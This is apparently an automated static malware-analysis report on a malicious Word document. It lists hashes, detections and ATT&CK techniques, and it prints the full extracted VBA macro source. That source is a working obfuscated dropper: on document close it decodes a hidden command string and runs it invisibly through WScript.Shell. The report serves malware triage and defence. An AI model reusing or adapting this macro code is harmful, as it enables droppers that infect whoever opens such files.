Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 d11b980ada1634b1…

MALICIOUS

Office (OOXML)

36.3 KB Created: 2017-05-22 22:37:00 UTC Authoring application: Microsoft Office Word 12.0000 First seen: 2019-02-26
MD5: 8da11c7503a0054f90db43dd73dda94b SHA-1: 4147d86b5939bf8e77e2126c8edc64f573bc1c36 SHA-256: d11b980ada1634b17462c05c4f2ade8894f2267b254038aa27fddbf2e2f4c850
184 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

This OOXML document contains VBA macros that leverage WScript.Shell to execute a command. The `Document_Close` subroutine decodes a long string and passes it to the `malumore` function, which then uses `WScript.Shell.Run` to execute the decoded string. This indicates the document is designed to download and execute a second-stage payload.

Heuristics 6

  • ClamAV: Doc.Dropper.Agent-6386467-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6386467-0
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
      If Len(sinusoide) < 4774 Then
        CreateObject("WScript.Shell").Run sinusoide, vbHide * 4
      End If
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
      If Len(sinusoide) < 4774 Then
        CreateObject("WScript.Shell").Run sinusoide, vbHide * 4
      End If
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/markup-compatibility/2006 In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2641 bytes
SHA-256: 8864dbe24d4ed02085ed8b2268a391a62e78370b6b0f2e57a05a0a5be8ef6b2f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Public Function mogio(avere As Integer) As String
 orrendo = Array("?", "+", "g", "m", "F", ":", "(", "-", "S", "i", "$", ",", "k", "d", ";", "J", "/", "D", "A", "s", "q", "W", "t", "e", "o", "b", "'", "C", "P", "w", "r", ")", "z", " ", "p", "y", "T", ".", "x", "Y", "E", "\", "v", "u", "n", "B", "a", "c", "N", "j", "O", "=", "h", "l")
 Dim damerino As Integer
 
 For damerino = LBound(orrendo) To UBound(orrendo)
   If damerino = avere Then
    mogio = orrendo(damerino)
   End If
 Next
 
End Function


Public Function malumore(sinusoide As String)
  If Len(sinusoide) < 4774 Then
    CreateObject("WScript.Shell").Run sinusoide, vbHide * 4
  End If
End Function

Sub Document_Close()
 feralo = penisola("34242923301952235353330748244038092233074038234733453534461919330727240303464413330648232907502549234722330835192223033748232237212325275309234422313717242944532446130409532306265222223405161624131220290913492029442549222543201344234437472403160808161324443753320326113310234442051828281718361833013326412823295039150225213723382326311433082246302207283024472319193310234442051828281718361826412823295039150225213723382326143306482329075025492347223308351922230337482322372123252753092344223137172429445324461308223009440206265222223405161624131220290913492029442549222543201344234437472403161937345234000913511324442631")
 Application.Run "malumore", feralo
End Sub

Function ammasso(ByVal topazio, ByVal recinto) As String
 
 microbo = vbNullString
 amuleto = Array(topazio, recinto)
 
 For acido = 0 To UBound(amuleto)
   microbo = microbo + vbNullString + amuleto(acido) + vbNullString
 Next
 
 ammasso = microbo
End Function

Function penisola(Optional volpe As String, Optional volpe2)
  riso = zappato(Trim(volpe))
  duna = ""

  For damerino = 0 To Len(volpe)
    If (damerino + 1) <= UBound(riso) Then
    occhio = riso(damerino + 1)
    replica = riso(damerino)
    modello = mogio(Int(riso(damerino) + occhio))
    duna = ammasso(duna, modello)
    damerino = damerino + 1
    End If
  Next
  
  penisola = duna
End Function


Function zappato(lampo As String, Optional svagare As Integer) As Variant
    zappato = Split(Left(StrConv(lampo, vbUnicode), Len(StrConv(lampo, vbUnicode)) - 1), vbNullChar)
End Function

Attribute VB_Name = "Module1"

Attribute VB_Name = "Module2"
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 14848 bytes
SHA-256: 7cfd3a938db5934a8ae11bee49c22828b4e641385ab2f5fb364cfe9e852a9c33
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).